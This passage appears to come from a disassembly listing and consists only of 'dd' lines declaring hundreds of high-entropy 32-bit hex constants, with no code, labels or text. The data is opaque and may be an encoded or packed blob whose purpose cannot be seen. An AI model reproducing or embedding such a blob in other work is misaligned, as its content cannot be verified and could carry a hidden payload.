		dd 4EAA398Dh, 6D8534E7h, 0C5BC8700h, 0BB235B59h, 0B0FE2Fh
		dd 4E9C6EBFh, 483772D7h, 4609B800h, 993FB5A8h, 11E00059h
		dd 84F1CA3Dh, 0DE00CBABh, 0E46EED4Fh, 398D3C7h,	2A69B5B4h
		dd 0B7A8E7D0h, 9C0006EEh, 771DFD29h, 580A9Dh, 82B1F42Eh
		dd 4FF89BD2h, 0B8865101h, 0F602CD52h, 0C0B74BF8h, 0B31C1F9Ah
		dd 950226A6h, 3E2DE823h, 27B0A728h, 0BD373D00h,	19CF016Bh
		dd 6660184Fh, 0F9EFD4E0h, 83BB7000h, 3AE1E5CDh,	0B1540053h
		dd 62E9A0CEh, 7C038B63h, 0C13F6C9h, 9315D8F8h, 8EE4E7h
		dd 34FF55B8h, 3E77FA20h, 69B5E00h, 43FF4E3h, 63E4CAh, 81A54D14h
		dd 578CE178h, 8D00CCB0h, 85875B17h, 0DBD635h, 2B38FADAh
		dd 324620E4h, 8A407400h, 60D192F9h, 39736719h, 433CF075h
		dd 0E8EFDE0Eh, 26EC2821h, 6E316509h, 744380E5h,	0FC30D055h
		dd 3EA00F1h, 0C46BE06Ah, 0C300657Ch, 0AE289C96h, 9D6E7Dh
		dd 0FF7F9480h, 26CD74E1h, 47EDE900h, 0EFE27936h, 5F04011Bh
		dd 0AD768089h, 6EAFE492h, 0D1A30600h, 0BCD91F1Ah, 4CF005h
		dd 0DCA48F3Fh, 0A3B7735Fh, 5917E100h, 1A35CE46h, 41B30013h
		dd 1853BBC2h, 0F9009168h, 98F50C33h, 162079B5h,	79F14E2h
		dd 7031C020h, 0AD33DC25h, 0F64EE500h, 200982EFh, 125A0004h
		dd 0D5F9976Eh, 0F0338A4h, 2250BD07h, 0F828BB87h, 1E00C7Eh
		dd 64E5CFD7h, 0E8AD0436h, 0E7165B1h, 0F0913016h, 0DE8A2840h
		dd 4F30AD1h, 0F10F74DAh, 1F98901Eh, 833CA91Ah, 28550667h
		dd 1F6011C9h, 5B507DC7h, 0F6A0114Ch, 4B00A8D2h,	51D5F32Dh
		dd 2B6F3Fh, 9A79293Bh, 0D419ACBEh, 0E0FB9314h, 133100E0h
		dd 0BCD3A6BDh, 0E9AE307Eh, 844776CEh, 0EDF2380Eh, 148A40D9h
		dd 4D90627Dh, 860024A6h, 0CEDCA881h, 33014B20h,	9D610BFCh
		dd 9B70788Bh, 0D084500Ch, 11E200EAh, 0A88E9560h, 64280D9Fh
		dd 0E700ACF4h, 77475954h, 29C198h, 0CB233A05h, 5004DFA7h
		dd 0D2635300h, 4803B35Ch, 5EF6002Ch, 0EDA7C0DAh, 0C3036712h
		dd 80986B81h, 0E746B01Dh, 0BEEF02A2h, 47AFB695h, 0E09EDCC1h
		dd 3E00DDC9h, 7F85CF50h, 0F94922BAh, 76D0B847h,	8BB77Ah
		dd 10721670h, 0B2F127FDh, 90C8DB01h, 14580248h,	0F31020h
		dd 574E9EDFh, 0E544E88Dh, 88953126h, 6334FB80h,	3148BB2h
		dd 0DE473A7h, 0B4FF59FEh, 15B380A0h, 0AF1C867Eh, 4440EAABh
		dd 0EB436D3Fh, 0E80500CCh, 0E32A6FDEh, 158BDEFh, 0BCCE0377h
		dd 0C8F1A9D0h, 711870EDh, 0E262387Ah, 0F2C04E28h, 0EEA60080h
		dd 0B6C26B5Bh, 33042B79h, 0C37A9B7Ch, 878CC5BBh, 49FF2000h
		dd 0D2180708h, 1EF89314h, 5C8E000Fh, 70A8678Fh,	4C7F5B33h
		dd 69FB2306h, 80C2ACh, 8DF2DA42h, 0D8A6A0E4h, 0E57C1609h
		dd 99206090h, 3003010Dh, 4384BF64h, 0E219809Eh,	31DD792Dh
		dd 0C9F10B75h, 28204C49h, 0FB0AE419h, 63866600h, 0BF07849Ch
		dd 5E091EFAh, 40A89796h, 87CD6CD8h, 2A00AB7Eh, 680A4140h
		dd 692327h
		dd 154629DCh, 268C646Ah, 0C300E9F8h, 0B45E8887h, 7685B1h
		dd 0D9A093C1h, 799863EAh, 7414E4Ch, 0E7E6EEF7h,	7749FD01h
		dd 4418C42Ch, 3E521D7h,	9F673609h, 619809Dh, 30CDF6h, 0E8AF5A1Eh
		dd 35973B9Eh, 4E4B6E1Ch, 0B1652080h, 2960EAh, 0A87686ACh
		dd 495B274Ah, 6977D31Fh, 0BD3AF807h, 4BA65030h,	45BDA002h
		dd 826425FBh, 0FE907C00h, 0D8009DBDh, 0F3511ADAh, 7ADC327Dh
		dd 24CB7004h, 89B89320h, 5800144Dh, 2B8BFB8Dh, 64C17B00h
		dd 9CF5B0DBh, 167FCE2h,	0C9CA94BAh, 80605215h, 61408760h
		dd 0E250421h, 9CD65827h, 1FE69240h, 8707B777h, 0AFA7EC7Ch
		dd 0A0D982C3h, 0ABC88E7h, 4DA3CA48h, 91838EDCh,	8104F838h
		dd 8EA97200h, 0FD06ABEBh, 85D6C0AEh, 89626422h,	78013092h
		dd 60B0610Eh, 7660CE45h, 9CE90185h, 849B18ABh, 20E930CAh
		dd 72A35603h, 2DFA53Eh,	9D9AAD38h, 34E4C129h, 0E2BCA400h
		dd 2CFADF26h, 86953B54h, 0E4CE5F81h, 0FC97B0C8h, 7200ACBDh
		dd 0B14BEE18h, 5862FBh,	3DF2D65Dh, 11274315h, 0E86E7400h
		dd 7C5CD71Eh, 66AD00B9h, 1C9828B1h, 220011DDh, 1E49F336h
		dd 50EC5476h, 362EA07Bh, 11200256h, 0A48C20E9h,	5E214700h
		dd 564D35C6h, 7FF0098h,	0D0BE158Ch, 2EFC45D9h, 54E69007h
		dd 0DF77B869h, 0EC40564Eh, 85D12D1Dh, 3CB1F90h,	6D0DC787h
		dd 260BD013h, 0AD0052ACh, 0A3BE59AAh, 0E021C990h, 0A2FA31h
		dd 0AFAB11C5h, 4C5F19A9h, 661EB90Fh, 71F7E0DCh,	2CFFD23h
		dd 3FBEC169h, 8C517789h, 748A08h, 2DEA0F82h, 2E076F12h
		dd 9D8853E5h, 0FFFA0280h, 46110028h, 7397E99Ch,	260099ACh
		dd 0F3273C43h, 31AD1502h, 0D86A8235h, 3EB1CC39h, 642D3700h
		dd 849D7D1Ah, 0D2430BBDh, 0A7007807h, 0F40BDEA6h, 0D59FDA01h
		dd 806D94E5h, 3EBEC4h, 0A41BC218h, 0C4FA970Ch, 50FF5230h
		dd 7C1026h, 69ACC649h, 4D2462BFh, 0C10018F2h, 2A2C6BCAh
		dd 0BB6FF5h, 88B45DAh, 880930EDh, 0DDA73100h, 6D5FF306h
		dd 0EE890196h, 0F92FC79Eh, 25782C43h, 0FBC82294h, 0DBC01747h
		dd 4AA4E8F9h, 2EB4544Bh, 0B90C2602h, 80537E63h,	0C8886292h
		dd 0D13A8942h, 0A3A5D0DCh, 9D244C54h, 1E03E181h, 0A179501Eh
		dd 0B8FCFE40h, 98098F04h, 0DB850F87h, 19A7A9D9h, 609D8754h
		dd 0AB7A0899h, 0F23DDE90h, 0CCC90AAEh, 0D80444E6h, 31E4760h
		dd 26D6F54Ch, 0B3C89000h, 0A8049561h, 84D50CCh,	7E894D0h
		dd 15A32EDAh, 8354484Ah, 341DD110h, 0CC7B12D9h,	5A03A428h
		dd 5C8A9E84h, 0E311E80Dh, 1FCD1EF1h, 80A88112h,	0C3612921h
		dd 1D27D690h, 39D74101h, 0BC73CF99h, 0E4CCA3FDh, 0DCD80E6Ch
		dd 94A34850h, 0DAD0611Eh, 9A018567h, 7264BBCEh,	0AAE021CBh
		dd 28D513A7h, 0D15880B7h, 0C61FC7D7h, 0E9817796h, 0C553ACE5h
		dd 46FF9E3h, 0B7689Ch, 20F2EEDDh, 4F00C985h, 32CB12D9h
		dd 1B606BBh, 898C4095h,	3425A6FAh, 0D20E4254h, 0E1ACE868h
		dd 0CDA343C9h, 213E0898h, 6800DA67h, 0E8470AB6h, 1216DFD5h
		dd 3AB141Ah, 8A0B64BDh,	51E5D690h, 0AEF6CCECh, 27C06C00h
		dd 3E408E81h, 7848D9D5h, 8D418FCh, 0B5ACEA68h, 533BC4h
		dd 59AE6899h, 0DE0F7831h, 803A1E12h, 82AA3E2Bh,	0BB720CA7h
		dd 223127A4h, 0F524A374h, 6942940Bh, 397603h, 6266219h
		dd 91E863E9h, 0FBCF21C0h, 1CF5C281h, 60D2E08h, 603FEC5Ah
		dd 0B2D78A08h, 8DDF04CAh, 29049145h, 9F97D4A1h,	0B0212512h
		dd 0F6E02040h, 0E0A3BC2Dh, 2B4600FCh, 0FFD15F3Bh, 1A3D22E9h
		dd 9D94506Ah, 34141978h, 8DB33Ah, 20E2C6AAh, 0FDF699h
		dd 0D82A7572h, 0A25635B5h, 0AE3A6014h, 0B19E0188h, 96DBC213h
		dd 903DE920h, 0B2740040h, 17646856h, 0B007F4ACh, 0B1209BA8h
		dd 3039303Ch, 9E08ABB5h, 0CB002378h, 8B58850Fh,	0C25A0D6h
		dd 0B7D4E0B6h, 9A079120h, 3AA892E2h, 53833D10h,	82E90066h
		dd 0BCA16EFCh, 170189E7h, 1136CABBh, 1898F84Dh,	0D3E4D03Eh
		dd 0F300C774h, 4BF692BFh, 9899B69Bh, 9D5B0C90h,	0C318B2B5h
		dd 9C35D601h, 82ABFD17h, 0A0C89A03h, 0E3B768ECh, 0B1B1031Eh
		dd 289F5194h, 2BE1719Bh, 1A198319h, 0CB62E2h, 0A3B81DA8h
		dd 20BCAB05h, 0BFF5BA00h, 0FD152430h, 6091603Fh, 31587F77h
		dd 1F8A9000h, 9E25D86h,	2981002Ch, 37E77B32h, 5403A5E1h
		dd 0C4F74707h, 0D842F397h, 0F0E6E2h, 0A38E2D60h, 2FBE3931h
		dd 26039A00h, 0CFAE093Ah, 0C7790316h, 9B99E1CDh, 678D5FC0h
		dd 0D88E3200h, 0C3F5568Ch, 95D31296h, 6200EB27h, 1704C09h
		dd 21DB0053h, 481849D0h, 0AD01D24Fh, 0F01AEA34h, 0D1C0DF03h
		dd 9FFF00A2h, 990B76CFh, 0C10774CDh, 0D3A77EB2h, 666880FEh
		dd 8FDA18h, 0B9BB5A06h,	621A1FD5h, 0EA859700h, 0DE0ADD53h
		dd 9907001Bh, 4884957h,	37006FA2h, 0D0122073h, 3859ACDh
		dd 0AEEFF961h, 50B0B1F7h, 0EC002D34h, 0F5988205h, 0CD0E75h
		dd 4A240957h, 41E61D78h, 23FD6500h, 8DDA9C20h, 7DF40010h
		dd 3569F32Dh, 8100DF2Ch, 0E2600D71h, 180697E1h,	0C8361D57h
		dd 0E6FE921Ch, 1E504703h, 0B8C2BFC3h, 44FAAFBh,	0BE405B0Ch
		dd 90DCC0E3h, 0A430D398h, 8B2A38E2h, 0BC240372h, 0C3A3930Ch
		dd 1E096101h, 271FD9Eh,	70ED8CCh, 2DB75820h, 0A6BE9040h
		dd 0C8002E3Ch, 3DA45AFFh, 61395Fh, 6353A041h, 38A6950Fh
		dd 0F6C33400h, 14DF9E1Ah, 0E2F306A3h, 76217F5Dh, 0A79D3728h
		dd 0A4489C02h, 401F70AAh, 7CEF2DD3h, 0FF02006Dh, 20E95B7Fh
		dd 5F003EF6h, 47556C43h, 73240DAFh, 372E02C6h, 0B249F714h
		dd 0BFA717C0h, 16003C74h, 1DC5BD5h, 3ED1554Ch, 1658CB1Ah
		dd 52F8BF30h, 0F930B7A5h, 8F79F141h, 0DD8800DCh, 70E9366Bh
		dd 58007702h, 0F38790CDh, 35571Dh, 67529D78h, 0D32E5CB3h
		dd 7DA9F01h, 0E1AF2B64h, 7E408F20h, 39BB00C7h, 620649BFh
		dd 0F800085Dh, 0ED90E120h, 0EDD4Fh, 95D84BDAh, 63B077D3h
		dd 0A9C7B200h, 0F966F497h, 1DC90748h, 30CF8E46h, 6A419F6Dh
		dd 81A1A9C8h, 7FAE65Ah,	30BCF9A8h, 841FEE05h, 7E40FEB1h
		dd 0F5B0197h, 4A1F00CFh, 0AE11D1F4h, 5D001DB6h,	83F81594h
		dd 0FC27033h, 46B7BC86h, 0A4E70200h, 9B25B9B6h,	14F0F021h
		dd 983758F3h, 48DAF603h, 0C4A82881h, 7400536Fh,	10DD9B35h
		dd 0E03758Eh, 0FA4225AAh, 1561C160h, 9B5078D4h,	7C0058C0h
		dd 0B5601308h, 1D6D51Ah, 0C1944814h, 800BDB9Fh,	129E4D38h
		dd 3D57BBC3h, 0F400B363h, 0E8AD8F28h, 0A0000DA7h, 1C650955h
		dd 0FF7732h, 0DE7537CAh, 0FD732947h, 0AFEDB20Eh, 0CC09C34Ch
		dd 0A9FE9010h, 28B403D0h, 8B48FFAEh, 8E18C6E8h,	7247681Eh
		dd 26E9184h, 0EC240CC0h, 37E600B6h, 4F36F686h, 40003EFCh
		dd 0F8DBF571h, 69AA9h, 0A7965052h, 0C8623944h, 8FBA8B03h
		dd 0B894BB1Eh, 3E5D8CCFh, 0E40096F3h, 0BE71D949h, 48DC3D05h
		dd 0B0E859C0h, 1FE27D24h, 409F4433h, 9CE3531Dh,	4000DC81h
		dd 5DFCE12Ah, 905C8Ch, 0A1D21A42h, 5014D9E8h, 0D4169E00h
		dd 0DDA34F82h, 0ECBE00CBh, 0FC1309E0h, 7600B992h, 25AEEDA8h
		dd 386EA4Ah, 48D5E6D2h,	0C5B06D30h, 2100C754h, 7141F0C4h
		dd 49E5643h, 5AA68206h,	151180C2h, 1A00D8E2h, 5C280513h
		dd 324296Dh, 4FF54034h,	0DAD851CDh, 0F300C0B9h,	981C13C3h
		dd 81CCD9h, 11ED58E5h, 6C4A7602h, 431B1F00h, 0C022B1FAh
		dd 0DB7400B8h
		dd 3D7F69Eh, 2C788701h,	8088C938h, 0BED77FDh, 51C895h
		dd 0CEF4A874h, 0B6BABD13h, 611CAD07h, 0A321390Fh, 802AF583h
		dd 0C1BD9529h, 505C7900h, 0C94AB432h, 307C0031h, 3C07CE84h
		dd 0D87CC782h, 9E53211Ch, 2FE50500h, 5B59B3D2h,	0C523B096h
		dd 0DCD9C807h, 1050C4B8h, 369DF1Ah, 2C307F17h, 0B5E906FFh
		dd 4D16D8E6h, 40514303h, 0E8689BA4h, 384B9693h,	8B006E7Ah
		dd 0AABC949h, 9C00D931h, 5BF9A2F0h, 60354E2Ch, 0FF1CD0F5h
		dd 4C3FD1E2h, 0A91580DCh, 8A8E29A1h, 0CCB0505Fh, 55660014h
		dd 0D6E436E6h, 0BD7070DEh, 13FE100h, 30A69420h,	997100E2h
		dd 2BE880AEh, 8B065776h, 6B1929CDh, 0DF7B19h, 913D1F6Fh
		dd 7BC533C1h, 0C6526500h, 6CF2BA57h, 816A0075h,	0CCA06753h
		dd 0DE009583h, 0FCF73D3Fh, 0CB8B23h, 0C3B8C5E4h, 0CC087516h
		dd 3D4B9000h, 0DD6932E3h, 879500C2h, 0A6F1CF02h, 0CDE41AA1h
		dd 0B10031EEh, 0C42ED83Ch, 428F3ABh, 8E0EE040h,	6F8DC15Fh
		dd 0A0E7FB7Fh, 2FCBD06Bh, 0C4320800h, 835D6A70h, 0DE2006Dh
		dd 0B0941A3h, 0BD13D474h, 7000478Ch, 616398B7h,	0F139003Bh
		dd 0AB900E78h, 440081B2h, 0E36224BBh, 481394C9h, 78000614h
		dd 7503CCDCh, 0A00E91D6h, 43FB8218h, 803EC27Ah,	0AE71EAh
		dd 0CCD34842h, 0E881FE8Fh, 4B00CFE0h, 9045396Dh, 7ADBA3h
		dd 72CB01A6h, 0E5B25D99h, 6190BB76h, 3748082Ch,	40F5AD0Fh
		dd 998431C8h, 0E800070h, 0B43583DCh, 0CC0FC4BDh, 47E91E14h
		dd 13207BC9h, 7D0EB163h, 44D50095h, 6B38E572h, 9100BADFh
		dd 8FCBA594h, 7BDCF93h,	3EBFC648h, 0EA1820A1h, 9D0F64CEh
		dd 0F2E8228Eh, 0C1DF5C0Fh, 0BE6AA40Dh, 219E1080h, 55E57557h
		dd 2500B674h, 44D2F9AFh, 2EDECDh, 88B77260h, 0E5A28C3Ah
		dd 891ED53Dh, 8042703Eh, 0F4E31108h, 15BB8FCh, 9ACB5B50h
		dd 80633BBCh, 1C037A80h, 0F78E4D96h, 1E098760h,	300873FAh
		dd 0F13290A1h, 0BC5E4905h, 2F80478Dh, 0DE2E5691h, 261F20h
		dd 176E1659h, 21B8C764h, 20926707h, 86801457h, 75693641h
		dd 44FCCEh, 8C965C8Bh, 66C82691h, 9D1ABD00h, 0A0BB78FEh
		dd 0D1C905BCh, 83035AF8h, 7FBB47D2h, 9D5697D9h,	74C32E71h
		dd 41C2FCAh, 638413A0h,	9100164Fh, 8B19A33Eh, 2C880E8Ah
		dd 0EAE013C6h, 496EBCFh, 0CB865900h, 0F4077668h, 97C0595h
		dd 30C73F6h, 0F0569278h, 319583Eh, 1D842FBAh, 1B88A0C2h
		dd 3C8D51EEh, 144236D1h, 163B00CAh, 0EA001F8Bh,	95ACF71Dh
		dd 0CCF196h, 649C5782h,	52DBA26Ch, 8DDEC100h, 0F2D13115h
		dd 32180039h, 0B91DF8C9h, 71008274h, 0F76311D7h, 0A9775Ch
		dd 86CDC530h, 0F87B5DB8h, 3DBE9900h, 3E82258Eh,	1783137Ah
		dd 0F57006Fh, 0F6083B53h, 0F8BB2400h, 3D7564A3h, 0F58103F9h
		dd 0E9710493h, 20BF2880h, 8B9E7300h, 0C31D4705h, 0B931F65h
		dd 45B7808Ah, 56461E87h, 7F86241Dh, 5F3C1200h, 848D77h
		dd 0BE6CEA60h, 0D49CA6E2h, 94005E7Dh, 11DC0918h, 13645243h
		dd 0D2AB39h, 1D801333h,	4000AC7Bh, 0A51C7D5Fh, 0E2DC98Bh
		dd 0D49083F1h, 1B5EE782h, 70ECAC80h, 95246D74h,	8300D8D7h
		dd 0B2481606h, 1CBCEA7Ah, 80332724h, 99C0E2ADh,	9C7D3187h
		dd 4A9BB100h, 4C95E71h,	704E00DAh, 0CDC7D80Eh, 80009793h
		dd 0D072AF45h, 0FEA95F4Fh, 0F3EB07BBh, 0C71E631Bh, 0C0ABA0C1h
		dd 64094D62h, 80C7EC01h, 0BE1339E3h, 0E39A0093h, 6840EE97h
		dd 0AE1CF032h, 234160A6h, 0D1D0131Ch, 7480BCF5h, 2EE0CDDDh
		dd 6E3B5399h, 1ED28059h, 5B54F84Dh, 9BED047Ah, 80143872h
		dd 0AA32AFF0h, 0E46510Eh, 398983A3h, 60E9C89Fh,	42DF181Bh
		dd 0D96D2813h, 3F53F700h, 458EDB16h, 39ACB284h,	7D007746h
		dd 65330C66h, 4E26CD08h, 1D802056h, 50C34B01h, 0ECDA5C09h
		dd 80601724h, 0A6746EB6h, 0B0B0CF2Dh, 0F56B2C13h, 0B8403013h
		dd 966CE9ABh, 0EDA405D8h, 0C07721FAh, 0A1DDF2D1h, 7D3CA00h
		dd 6A66E61Fh, 0C1500E7Eh, 0F520805Fh, 232A68B4h, 6BCBDA01h
		dd 64300D57h, 1B44CCh, 0BAF72F0Ch, 0A58B9BD1h, 0F0ED6C38h
		dd 4298F400h, 0FC1C6220h, 45D20EE5h, 53D336DDh,	0F4F0008Ch
		dd 245D15EDh, 76B46C00h, 9FDD4206h, 0EEBE0359h,	75453760h
		dd 64904390h, 0CA521206h, 2AF80BC7h, 7698696Eh,	5E8205EFh
		dd 0C5CCEBh, 8A88F9BCh,	0E5137A03h, 0CB16E7A4h,	175DB005h
		dd 0F26304C0h, 44480027h, 1126324Ch, 7171E308h,	57DDE407h
		dd 4FE25247h, 0CA9C87FFh, 0CE5A6550h, 51F000A9h, 0FDDCC77Dh
		dd 48028428h, 7CA055EFh, 7280E05Dh, 238E1CECh, 0C0791C03h
		dd 416BD16Dh, 93D1997h,	4C5F26B5h, 0F0DC3581h, 0A4D094F4h
		dd 56CC095Ah, 557770h, 5712D442h, 0B3670021h, 5CE3B31h
		dd 0A009AC27h, 803ECABFh, 0A71D6253h, 923A3807h, 7458BA80h
		dd 34832B7Bh, 194FC600h, 0D50124E2h, 26540057h,	41BEB84Eh
		dd 470E6B70h, 40658D28h, 0EB95971Eh, 500D7699h,	24A69077h
		dd 0F805733h, 55C0FFBBh, 114D2BABh, 99D01916h, 6802AB04h
		dd 131A2C90h, 0A5350141h, 0B35201E1h, 0FDA435F3h, 0FC8AC40Dh
		dd 29286A00h, 42CFCBDCh, 8255CBAh, 0CA399A00h, 94DBC4F3h
		dd 5E782900h, 3D3EBC51h, 1828BA2Fh, 0E645ECA9h,	5A001F70h
		dd 69E86DFBh, 1CDE76Ch,	21D2931h, 0DC7248D4h, 0F4077843h
		dd 0B7A6FE25h, 35528029h, 0BD0637h, 0FC76269Fh,	0A3D8C9D0h
		dd 3038CF24h, 9C8A3F00h, 70905A1Eh, 9DB9000Fh, 0A9417660h
		dd 0BC5CEB31h, 11B50009h, 0D7CD7585h, 0E5200F0Ah, 3A206F65h
		dd 38191C6Ah, 15F57D00h, 0A4BCD56Eh, 0F2070514h, 0C0FEBBF9h
		dd 0F1373C94h, 21AC0100h, 0D99E3F31h, 0FA100B8h, 3EF61C7Ah
		dd 6EE8B0BAh, 0B47EE892h, 0A540E418h, 58B9BEC8h, 5D0EFCE1h
		dd 0ACE0BB19h, 89D3601Bh, 0A7CDE600h, 41CE626Fh, 3B4502C6h
		dd 953E7442h, 8000C950h, 552C238Fh, 390EFB0h, 1AAEA993h
		dd 3DE23A3Ch, 958684A0h, 0F770128Fh, 78E95D30h,	78B8C52h
		dd 4522F3BEh, 0C620CF78h, 25A00DD3h, 6A4B2D00h,	0DFA994DDh
		dd 0C3F059h, 0BDC9D8CAh, 0EE68017Eh, 17821100h,	95DBCEA8h
		dd 8C222858h, 8FD50488h, 92C0447Dh, 9CE5C388h, 7941A7C0h
		dd 0BCD604FDh, 0B1FFB02Ch, 1F5BDC3Ch, 0C49FDB1Eh, 0C0BD7D86h
		dd 73C93A39h, 0A1D73B00h, 5DEBB55Fh, 0E140441Dh, 0C6C093DCh
		dd 4AB79D42h, 2E9F07C9h, 0D0688A8Fh, 53CEFC81h,	8044B325h
		dd 0B9BA0210h, 0B0A81FA6h, 25B36CECh, 0D0F60C07h, 9741C20h
		dd 0FEB4E100h, 5127B2CDh, 1FB9038h, 4E67C7E5h, 0C530E8A0h
		dd 24B08180h, 3D0A9ED8h, 38E9DCh, 94FC04C7h, 3BAD6365h
		dd 0F8E8E200h, 2E74A159h, 0A3C52832h, 0E3EEBCh,	0B9DE6A3Dh
		dd 54813303h, 780AE3Ah,	0F46C823Bh, 384FC490h, 0C9BD01D5h
		dd 0CF4E040Ch, 48108037h, 237E458Ah, 59A76097h,	0FA3D7F34h
		dd 52E97000h, 0B7917B19h, 0E6EF0031h, 0C469BE42h, 700BFF7h
		dd 973F9526h, 3A147Dh, 2CED3E03h, 0A937AE25h, 98F358h
		dd 2FE3CEDAh, 2620099Ah, 0DCC963h, 0B28CA7FEh, 36006CF5h
		dd 119B40EAh, 0E4ADB915h, 7D57690h, 6CEDAF05h, 6479C06Fh
		dd 0DEFEE036h, 193F7090h, 420E0B97h, 0C65800B9h, 0FAEB7C09h
		dd 5B8D079Fh, 500BD057h, 0BF85D789h, 4C041400h,	744142C5h
		dd 0F2710F35h, 0C741DBE9h, 0D806E725h, 0D705D57Ch, 50B02F9Bh
		dd 0EA000CC7h, 887472h
		dd 17CDFB7Fh, 8C047107h, 43BB731Eh, 0B66AE381h,	0E9FDBA7Ah
		dd 349C0C21h, 4E7C000Bh, 63643D3h, 7D900D00h, 242367F7h
		dd 48C400DBh, 6520C737h, 7A07A1DAh, 0D7282D3Ch,	30574710h
		dd 0F3E8006Fh, 51071290h, 0AA00AEEEh, 4FC248B1h, 480FCC14h
		dd 4A789419h, 0FD68415Fh, 0E0997906h, 860977AAh, 4491EC1Bh
		dd 0E4752578h, 0CC0C8420h, 9037295h, 0D66961Ch,	0AC01FE8h
		dd 0D37900ECh, 8DDE6D04h, 0FB94F4Ch, 0EFB6BC56h, 0CA38E78Eh
		dd 4B7F1D5Fh, 88612C18h, 0CFD72A7Dh, 47180C84h,	0C560917Eh
		dd 9DC63201h, 0FD980F41h, 7750841h, 31097189h, 0D491980Bh
		dd 3DE0D59h, 80A39AE9h,	148E0AC2h, 0D7F43140h, 0F3006113h
		dd 0C22DB949h, 4AA4DAF0h, 0BAC43167h, 72C3DCBFh, 981AD201h
		dd 63C6FB6Eh, 78CDFCh, 1050181Fh, 80567D85h, 463FC700h
		dd 367A2427h, 3E3D0086h, 53665704h, 8A1D1A5Eh, 5080EBDEh
		dd 77FF4A19h, 94E0FEh, 6C994D66h, 91563F33h, 63EB1200h
		dd 0B9AC269Ch, 69370088h, 0B829E416h, 0F00F507h, 39BFE292h
		dd 8296FCh, 65CFD57Eh, 0E48FDC26h, 0A5542DEAh, 4A7EA84h
		dd 85D24500h, 0D54D8Ah,	8DE7A292h, 90C7C118h, 0BFD36307h
		dd 5A201AEAh, 0C3658839h, 0CAF75F30h, 4B1D4000h, 0CB3CBCD9h
		dd 31430006h, 0EB1AE716h, 801E77FDh, 0C79B13B5h, 0A1ADA820h
		dd 60BF297Eh, 213DCA20h, 0A4991E20h, 69844158h,	5085FDE2h
		dd 0EF2C45E0h, 946CDD00h, 0D2B2A161h, 7C960B47h, 0F381354Dh
		dd 80CD3C89h, 557BAEE9h, 90CE478Ch, 94F663Ch, 8E1221B3h
		dd 510055C2h, 4840A9B1h, 0F17201B8h, 344B0749h,	128441BCh
		dd 1F3183C9h, 810A98DDh, 0B4483059h, 9326008Ch,	0B6B3A4ADh
		dd 977E9FBEh, 9CDDA900h, 3B1E36BBh, 3D1500C5h, 1D8275CBh
		dd 0C350B543h, 63180A80h, 0B768B253h, 0D2123FD7h, 7061233Ah
		dd 50160CC1h, 6AE24EDCh, 0FDE30719h, 40C89B79h,	8F28C2D4h
		dd 0AF01F545h, 72EA7FF4h, 8CB9014Ch, 584F790Dh,	0B0A820AAh
		dd 22BF08C9h, 0C064D8BCh, 0AF0BC95h, 5D219A4Bh,	2B6260B8h
		dd 3A50BED2h, 0C8013FA4h, 0DA04323h, 99306F4Fh,	45F0022Fh
		dd 78F4AE53h, 0D873C90h, 0C04F7411h, 0DB80C488h, 46B50D5Fh
		dd 4DD40060h, 50211D57h, 190A99B2h, 0E829E53Fh,	5BFCDEh
		dd 1DE78F31h, 0C3AC5C98h, 8A6DE03Bh, 0BCBF753Bh, 0B38F5E04h
		dd 46B84C86h, 0D8B027Ch, 31604F78h, 63D710BEh, 0BC4000Dh
		dd 0F2FA4867h, 8301734Eh, 0DD45E361h, 0A820EFEAh, 0EB6F145Ah
		dd 89029084h, 0A35B5411h, 0F792F480h, 0C2BFE8F9h, 71B4205Fh
		dd 0C748814h, 0C53C8CD8h, 17004BD1h, 0DD159BB2h, 0ED15956h
		dd 748F25B9h, 0AB00972Eh, 0BCEB871Eh, 61186909h, 339C10E6h
		dd 73750083h, 0CAD0B409h, 9574DC92h, 20713A6Eh,	2393758Bh
		dd 0AA61008Dh, 0FE2AC8D2h, 320097C0h, 5A54C728h, 306B1370h
		dd 9BB8B0E7h, 61C01047h, 4B180CA1h, 389E1263h, 20C003CBh
		dd 0F0638C5Fh, 991C0838h, 7424D1B1h, 0A5F7209Bh, 7DCEBC09h
		dd 0CA98E830h, 81CF0070h, 1C2E5A1Bh, 8CC8A75h, 0B021A2h
		dd 0AE57CF78h, 2BDC1E52h, 28CCEA00h, 0C2D5479Eh, 0AB8A536h
		dd 5E88687Dh, 0F30E3946h, 0D640ED05h, 1B1D5D33h, 0DC19A524h
		dd 48C0EB13h, 12BF2513h, 0D02F0A36h, 89527154h,	0D4CBAF00h
		dd 0E87F78C2h, 704F5083h, 71F4091Fh, 2400B14Dh,	0E2459279h
		dd 0E6202E50h, 82A3E93Fh, 4D72C87Fh, 3D7044F5h,	5CC8DF45h
		dd 2AD0ED10h, 0A487C814h, 2F60C9C4h, 31B83B87h,	0A8131EB0h
		dd 3408DF37h, 82D2841Dh, 0E100AED9h, 901AE654h,	18FB1245h
		dd 86C808E5h, 8D5578C0h, 22764647h, 0BFFAB7h, 6FD72D55h
		dd 0D41A3889h, 8C52EF00h, 1592783Eh, 942E00ADh,	0B0A80D43h
		dd 24998DE2h, 3518BED1h, 0A72A6001h, 0F409597Bh, 2180CCF9h
		dd 3F821681h, 3A0E77F0h, 8086F77Fh, 0DC089C8Bh,	4E8112AEh
		dd 0BF5004BBh, 30C322A8h, 7F10CF76h, 0AAE08A1Bh, 0F701CF7Eh
		dd 0F0EE5D1Ah, 8057BF3Ch, 0A09F3FD0h, 1DF415h, 97C9A374h
		dd 73CAEB3Ah, 69C1E700h, 13D1BBB8h, 81C0614Bh, 60518801h
		dd 0D7C09BCh, 8DE80513h, 741CD4D5h, 816F8050h, 9B0E9F81h
		dd 78289603h, 4F0607F8h, 2883AB27h, 638F6F05h, 0EC94B107h
		dd 0A1DC18C2h, 0E0429990h, 69D79BF8h, 508520C4h, 6F589279h
		dd 389870FAh, 551B111Eh, 5833678Ch, 0A2BE12CDh,	4DC00096h
		dd 8C126515h, 76011093h, 66478755h, 8B88B818h, 7A550E7Dh
		dd 272695DFh, 0FC98B1AFh, 18B89B2Eh, 0C69D3341h, 0F9A4D00h
		dd 60A8C165h, 0B788108Eh, 0ED2BFFC0h, 7A5D02E2h, 0AA536B07h
		dd 10CBF4C9h, 25B22F1h,	0EEB2107Bh, 841B0E4h, 0F80A13A7h
		dd 1FC93F91h, 0EABBA8h,	99CBA303h, 0D11E6702h, 0D3D5CA94h
		dd 0C24500B0h, 59DB265Eh, 46A72D0h, 81F33CAAh, 3D24911Dh
		dd 0C67980BDh, 0B89927DEh, 53B900FDh, 0DAC27AF4h, 0FB021CAEh
		dd 62212581h, 0E850431Dh, 48DCBE2Ah, 499F4C7Dh,	2C6807C1h
